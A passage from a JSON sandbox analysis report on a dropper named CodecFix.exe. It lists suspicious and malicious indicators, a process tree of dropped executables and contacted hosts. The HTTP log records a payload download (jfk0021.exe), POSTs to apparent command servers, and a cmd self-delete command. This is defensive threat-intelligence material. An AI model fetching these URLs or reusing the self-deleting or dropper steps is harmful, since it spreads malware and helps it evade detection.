Access","relevance":10,"id":"registry-61","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$2e","origin":"API Call","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$2f","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"System Security","name":"Contains ability to elevate privileges","description":"SetSecurityDescriptorDacl@ADVAPI32.DLL at 00017415-00004060-8869-1249-00034A20","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-44","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$30","origin":"Registry Access","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"$31","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"irsetup.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"gimi.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"salllbu.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"XVD.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"CodecFix.exe.bin\" claimed CRC 112798 while the actual is CRC 3575459\n \"cubesta.exe\" claimed CRC 41483 while the actual is CRC 781541\n \"lua5.1.dll\" claimed CRC 356278 while the actual is CRC 1370672\n \"MediaPlay.exe\" claimed CRC 992277 while the actual is CRC 356278\n \"gimi.exe\" claimed CRC 112798 while the actual is CRC 988112\n \"capi.exe\" claimed CRC 80578 while the actual is CRC 247815\n \"_setup64.tmp\" claimed CRC 11292 while the actual is CRC 959924","origin":"Static Parser","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"irsetup.exe\" has an entrypoint in section \"UPX1\"","origin":"Static Parser","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$32","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$33","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"irsetup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"capi.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"MediaPlay.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"cubesta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"XVD.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"faket.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"4/65 Antivirus vendors marked sample as malicious (6% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"4/67 Antivirus vendors marked dropped file \"gimi.exe\" as malicious (classified as \"QVM41.1.Malware\" with 5% detection rate)\n 1/66 Antivirus vendors marked dropped file \"itdownload.dll\" as malicious (classified as \"Downloader.Murlo\" with 1% detection rate)\n 27/64 Antivirus vendors marked dropped file \"jfk0021.exe\" as malicious (classified as \"Gen:Variant.Ursu\" with 42% detection rate)","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"6/65 Antivirus vendors marked spawned process \"gimi.exe\" (PID: 3444) as malicious (classified as \"Indiloadz.Y\" with 9% detection rate)\n 17/65 Antivirus vendors marked spawned process \"faket.exe\" (PID: 2076) as malicious (classified as \"HEUR:AdWare.Vosteran\" with 26% detection rate)\n 27/64 Antivirus vendors marked spawned process \"jfk0021.exe\" (PID: 4884) as malicious (classified as \"Gen:Variant.Ursu\" with 42% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"malicious","category":"Installation/Persistance","name":"Allocates virtual memory in a remote process","description":"\"irsetup.exe\" allocated memory in \"\\REGISTRY\\USER\\S-1-5-21-686412048-2446563785-1323799475-1001\\Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl\"\n \"irsetup.exe\" allocated memory in \"%TEMP%\\salllbu.exe\"\n \"irsetup.exe\" allocated memory in \"%TEMP%\\XVD.exe\"\n \"XVD.exe\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\KindMap\"\n \"faket.tmp\" allocated memory in \"%TEMP%\\is-8V0RT.tmp\\jfk0021.exe\"","origin":"API Call","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"$34","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"malicious","category":"Network Related","name":"Contacts very many different hosts","description":"Contacted 12 (or more) hosts in at least 5 different countries","origin":"Network Traffic","relevance":9,"id":"network-17","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"malicious","category":"Network Related","name":"Found more than one unique User-Agent","description":"Found the following User-Agents: Microsoft-CryptoAPI/6.1\n InstallCapital\n InnoTools_Downloader\n Christmas Mystery 5.5.8\n Christmas Mystery","origin":"Network Traffic","relevance":5,"id":"network-15","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$35","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"malicious","category":"Network Related","name":"Multiple malicious artifacts seen in the context of different hosts","description":"$36","origin":"Network Traffic","relevance":10,"id":"network-27","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"Internal YARA signature matched on process \"faket.exe\"\n Internal YARA signature matched on file \"all.bstring\"","origin":"YARA Signature","relevance":10,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"malicious","category":"System Destruction","name":"Interacts with the primary disk partition (DR0)","description":"\"XVD.exe\" interacting with \"\\Device\\Harddisk0\\DR0\" using IoControlCode 0x2d1400","origin":"API Call","relevance":5,"id":"api-59","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"malicious","category":"System Security","name":"Modifies System Certificates Settings","description":"\"XVD.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"27AC9369FAF25207BB2627CEFACCBE4EF9C319B8\")\n \"XVD.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8\"; Key: \"BLOB\")","origin":"Registry Access","relevance":8,"id":"registry-38","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Checks for a resource fork (ADS) file","description":"\"XVD.exe\" checked file \"C:\"","origin":"API Call","relevance":5,"id":"api-35","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$37","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"POSTs files to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"Persistence","details_count":4,"details":[{"detail":"Writes data to a remote process"},{"detail":"Interacts with the primary disk partition (DR0)"},{"detail":"Modifies System Certificates Settings"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the windows installation date"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Tries to sleep for a long time (more than two minutes)"},{"detail":"Possibly tries to evade analysis by sleeping many times"}],"sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 11 domains and 11 hosts"}],"sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]}]},"activity":{"stats":{"process_count":15,"spawned_processes_count":15,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":12,"imported_dlls_count":137,"dropped_files_count":0,"extracted_files_count":29,"files_written_count":134,"files_deleted_count":0,"registry_keys_created_count":7,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":7,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":12,"dns_resolutions_count":11,"contacted_urls_count":11,"http_requests_count":11},"behavior_tags":["cookle"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"5af935237ca3e157f119fbd4","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Malware","contacted_countries":["EU","FRA","GBR","NLD","USA"],"submit_name":"CodecFix.exe","analysis_start_time":"2018-05-14T09:05:31+00:00","indicators_count":{"informative":35,"suspicious":37,"malicious":16},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"104.20.208.21","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"address":"178.255.83.1","port":80,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"address":"2.18.212.33","port":80,"protocol":"TCP","country":"European Union","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"address":"5.39.224.140","port":443,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"address":"5.39.224.8","port":443,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"address":"52.85.177.49","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"address":"149.202.87.154","port":80,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"address":"104.28.9.192","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"address":"51.254.189.96","port":80,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"address":"52.24.238.7","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"address":"52.24.238.7","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"address":"188.121.36.239","port":80,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]}],"dns_resolutions":[{"domain":"www.divx.com","address":"52.24.238.7","ttl":299,"country":"United States","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"domain":"won.channeltest.bid","address":"52.85.177.49","ttl":1125,"country":"United States","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"domain":"pastebin.com","address":"104.20.208.21","ttl":299,"country":"United States","registrar_name":"ENOM, INC.","registrar_organization":"WHOISGUARD, INC.","registrar_name_servers":"SUE.NS.CLOUDFLARE.COM","registrar_creation_date":"2002-09-03T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"domain":"ocsp.trust-provider.com","address":"178.255.83.1","ttl":2827,"country":"United Kingdom","registrar_organization":"CSC Corporate Domains, Inc.","registrar_name_servers":"NS0.CCANET.CO.UK","registrar_creation_date":"2006-09-19T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"domain":"ocsp.godaddy.com","address":"188.121.36.239","ttl":3279,"country":"Netherlands","registrar_name":"LIQUIDNET LTD.","registrar_organization":"Go Daddy Operating Company, LLC","registrar_name_servers":"A1-245.AKAM.NET","registrar_creation_date":"1999-03-02T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"domain":"ocsp.comodoca4.com","address":"2.18.212.33","ttl":233,"country":"European Union","registrar_name":"CSC CORPORATE DOMAINS, INC.","registrar_organization":"Comodo Group, Inc.","registrar_creation_date":"2014-09-24T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"domain":"htagzdownload.pw","address":"51.254.189.96","ttl":1348,"country":"France","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"domain":"geteasyfile.com","address":"149.202.87.154","ttl":1347,"country":"France","registrar_name":"OVH, SAS","registrar_name_servers":"DNS13.OVH.NET","registrar_creation_date":"2017-12-15T12:39:13+00:00","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"domain":"api-ocean.info","address":"104.28.9.192","ttl":299,"country":"United States","registrar_name":"Registrar of domain names REG.RU LLC","registrar_organization":"Private Person","registrar_name_servers":"KRISTIN.NS.CLOUDFLARE.COM","registrar_creation_date":"2018-04-27T11:05:06+00:00","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"domain":"a-8.1fichier.com","address":"5.39.224.8","ttl":3298,"country":"France","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"domain":"1fichier.com","address":"5.39.224.140","ttl":2926,"country":"France","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]}],"http_requests":[{"host":"ocsp.trust-provider.com","host_ip":"178.255.83.1:80","url":"/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEENSAj%2F6qJAfE5%2Fj9OXBRE4%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEENSAj%2F6qJAfE5%2Fj9OXBRE4%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.trust-provider.com","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"host":"ocsp.comodoca4.com","host_ip":"2.18.212.33:80","url":"/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrJdiQ%2Ficg9B19asFe73bPYs%2BreAQUdXGnGUgZvJ2d6kFH35TESHeZ03kCEFslzmkHxCZVZtM5DJmpVK0%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrJdiQ%2Ficg9B19asFe73bPYs%2BreAQUdXGnGUgZvJ2d6kFH35TESHeZ03kCEFslzmkHxCZVZtM5DJmpVK0%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.comodoca4.com","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"host":"won.channeltest.bid","host_ip":"52.85.177.49:80","url":"http://won.channeltest.bid/offer.php?affId=7386&trackingId=343880091&instId=7520&ho_trackingid=HO343880091&cc=RO&sb=x64&wv=7sp1&db=InternetExplorer&uac=1&cid=d41d8cd98f00b204e9800998ecf8427e&v=3&net=4.7.02558&ie=11%2e0%2e9600%2e18838&res=1018x606&osd=161","method":"GET","response_code":"200","response_phrase":"OK","header":"GET http://won.channeltest.bid/offer.php?affId=7386&trackingId=343880091&instId=7520&ho_trackingid=HO343880091&cc=RO&sb=x64&wv=7sp1&db=InternetExplorer&uac=1&cid=d41d8cd98f00b204e9800998ecf8427e&v=3&net=4.7.02558&ie=11%2e0%2e9600%2e18838&res=1018x606&osd=161 HTTP/1.1\nHost: won.channeltest.bid\nConnection: close\nAccept: */*\nUser-Agent: InstallCapital","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"host":"geteasyfile.com","host_ip":"149.202.87.154:80","url":"/kL3CuYDWuF/Yx5cJur3eX/jfk0021.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /kL3CuYDWuF/Yx5cJur3eX/jfk0021.exe HTTP/1.0\nHost: geteasyfile.com\nUser-Agent: InnoTools_Downloader","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"host":"api-ocean.info","host_ip":"104.28.9.192:80","url":"/request/autok?user=luxsoft&ver=10&key=a8d588afe11b4f83598303abd1b1afc3","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /request/autok?user=luxsoft&ver=10&key=a8d588afe11b4f83598303abd1b1afc3 HTTP/1.1\nAccept: */*\nUser-Agent: Christmas Mystery 5.5.8\nContent-Type: application/x-www-form-urlencoded\nHost: api-ocean.info\nContent-Length: 0\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"host":"api-ocean.info","host_ip":"104.28.9.192:80","url":"/request/conditions?user=luxsoft&ver=10&key=eed84a88a823e9d427fd6a87ebfbaf56&token=ab65433f1656dd2119c60d72fb4b924a","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /request/conditions?user=luxsoft&ver=10&key=eed84a88a823e9d427fd6a87ebfbaf56&token=ab65433f1656dd2119c60d72fb4b924a HTTP/1.1\nAccept: */*\nUser-Agent: Christmas Mystery 5.5.8\nContent-Type: application/x-www-form-urlencoded\nHost: api-ocean.info\nContent-Length: 1769\nCache-Control: no-cacheCookie: __cfduid=dc579c598c9e88c712e470dc8faf3c0861526281878","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"host":"htagzdownload.pw","host_ip":"51.254.189.96:80","url":"/Series/Conumer1Pirlo.php","method":"POST","response_code":"100","response_phrase":"Continue","header":"POST /Series/Conumer1Pirlo.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: htagzdownload.pw\nContent-Length: 51Expect: 100-continue\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"host":"www.divx.com","host_ip":"52.24.238.7:80","url":"/en/software/divx","method":"GET","response_code":"302","response_phrase":"Found","header":"GET /en/software/divx HTTP/1.1\nUser-Agent: Christmas Mystery\nHost: www.divx.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"host":"ocsp.godaddy.com","host_ip":"188.121.36.239:80","url":"//MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%2B3ahq1OMCAxvnFQ%3D%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET //MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%2B3ahq1OMCAxvnFQ%3D%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.godaddy.com","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"host":"ocsp.godaddy.com","host_ip":"188.121.36.239:80","url":"//MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET //MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.godaddy.com","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"host":"ocsp.godaddy.com","host_ip":"188.121.36.239:80","url":"//MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQCQbgjZ3ackCg%3D%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQCQbgjZ3ackCg%3D%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.godaddy.com","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}],"processes":[{"pid":3100,"ppid":0,"name":"CodecFix.exe","command_line":"","sha256":"45ec873ef2eae68742b8d1942932490551bce4c9edfc7d15fb1e01f7dca9dfe4","normalized_path":"C:\\CodecFix.exe","uid":"00011746-00003100","icon":"$38"},{"pid":3776,"ppid":3100,"name":"irsetup.exe","command_line":"__IRAOFF:1742194 \"__IRAFN:C:\\CodecFix.exe\" \"__IRCT:0\" \"__IRTSS:0\" \"__IRSID:S-1-5-21-686412048-2446563785-1323799475-1001\"","sha256":"5ffd4b20dccfb84c8890abdb780184a7651e760aefba4ab0c6fba5b2a81f97d9","normalized_path":"%TEMP%\\_ir_sf_temp_0\\irsetup.exe","parent_uid":"00011746-00003100","uid":"00012485-00003776"},{"pid":3444,"ppid":3776,"name":"gimi.exe","command_line":"","sha256":"2f0cadcaa2060ba167d3328681b3ebcb5cc420f1f4edb782689e1a769100980d","normalized_path":"%TEMP%\\gimi.exe","parent_uid":"00012485-00003776","uid":"00013136-00003444"},{"pid":2740,"ppid":3444,"name":"irsetup.exe","command_line":"__IRAOFF:1742194 \"__IRAFN:%TEMP%\\gimi.exe\" \"__IRCT:0\" \"__IRTSS:0\" \"__IRSID:S-1-5-21-686412048-2446563785-1323799475-1001\"","sha256":"5ffd4b20dccfb84c8890abdb780184a7651e760aefba4ab0c6fba5b2a81f97d9","normalized_path":"%TEMP%\\_ir_sf_temp_1\\irsetup.exe","parent_uid":"00013136-00003444","uid":"00014097-00002740"},{"pid":3096,"ppid":3776,"name":"salllbu.exe","command_line":"","sha256":"76eb79c35cc2715aef6eb3098a8d48d4cf3f97d6c58b41a4cb853d76cb319d81","normalized_path":"%TEMP%\\salllbu.exe","parent_uid":"00012485-00003776","uid":"00015781-00003096"},{"pid":3864,"ppid":3096,"name":"irsetup.exe","command_line":"__IRAOFF:1741682 \"__IRAFN:%TEMP%\\salllbu.exe\" \"__IRCT:0\" \"__IRTSS:0\" \"__IRSID:S-1-5-21-686412048-2446563785-1323799475-1001\"","sha256":"5ffd4b20dccfb84c8890abdb780184a7651e760aefba4ab0c6fba5b2a81f97d9","normalized_path":"%TEMP%\\_ir_sf_temp_0\\irsetup.exe","parent_uid":"00015781-00003096","uid":"00016492-00003864"},{"pid":948,"ppid":3864,"name":"capi.exe","command_line":"","sha256":"a8a074f1a5764ab77637d9689d10a25291c19ad3ecef5516808f6b841809066d","normalized_path":"%TEMP%\\capi.exe","parent_uid":"00016492-00003864","uid":"00017211-00000948"},{"pid":4060,"ppid":3864,"name":"MediaPlay.exe","command_line":"","sha256":"438f9e5bc84431a6edb000ca80f83bc13033c13b2ba6ee220c382632335084c8","normalized_path":"%TEMP%\\MediaPlay.exe","parent_uid":"00016492-00003864","uid":"00017415-00004060"},{"pid":2076,"ppid":3864,"name":"faket.exe","command_line":"","sha256":"46c75aadc379b6d2bb4e817cfba67e1ba132c31101a22ead53343379ed28f0fa","normalized_path":"%TEMP%\\faket.exe","parent_uid":"00016492-00003864","uid":"00020452-00002076"},{"pid":1912,"ppid":2076,"name":"faket.tmp","command_line":"/SL5=\"$A03A0,337404,254464,%TEMP%\\faket.exe\"","sha256":"c34d4255adb6ac1f095aa4b5fc8030e60f1fb625f820b53e3b9d9d38794c24c8","normalized_path":"%TEMP%\\is-2VANR.tmp\\faket.tmp","parent_uid":"00020452-00002076","uid":"00021846-00001912"},{"pid":4884,"ppid":1912,"name":"jfk0021.exe","command_line":"/VS /CID=15150","sha256":"9a8c700aab5ecf41b05dcdaba1fc6c51c0531adac3519d4ab18cfa2789dc8f85","normalized_path":"%TEMP%\\is-8V0RT.tmp\\jfk0021.exe","parent_uid":"00021846-00001912","uid":"00023622-00004884"},{"pid":3740,"ppid":3864,"name":"cubesta.exe","command_line":"","sha256":"97a9ef4204848b668bcc0b6bec52453c4abe78931d5352ff8a1f3e0f3b0c0a73","normalized_path":"%TEMP%\\cubesta.exe","parent_uid":"00016492-00003864","uid":"00020477-00003740"},{"pid":4776,"ppid":3864,"name":"XVD.exe","command_line":"","sha256":"cb086535b24c108eea5e698aad5a8511da5578725e03e3e89582415a5ec9344d","normalized_path":"%TEMP%\\XVD.exe","parent_uid":"00016492-00003864","uid":"00020547-00004776"},{"pid":808,"ppid":4776,"name":"cmd.exe","command_line":"/C timeout 3 > Nul & Del \"%TEMP%\\XVD.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00020547-00004776","uid":"00025624-00000808"},{"pid":2040,"ppid":808,"name":"timeout.exe","command_line":"timeout 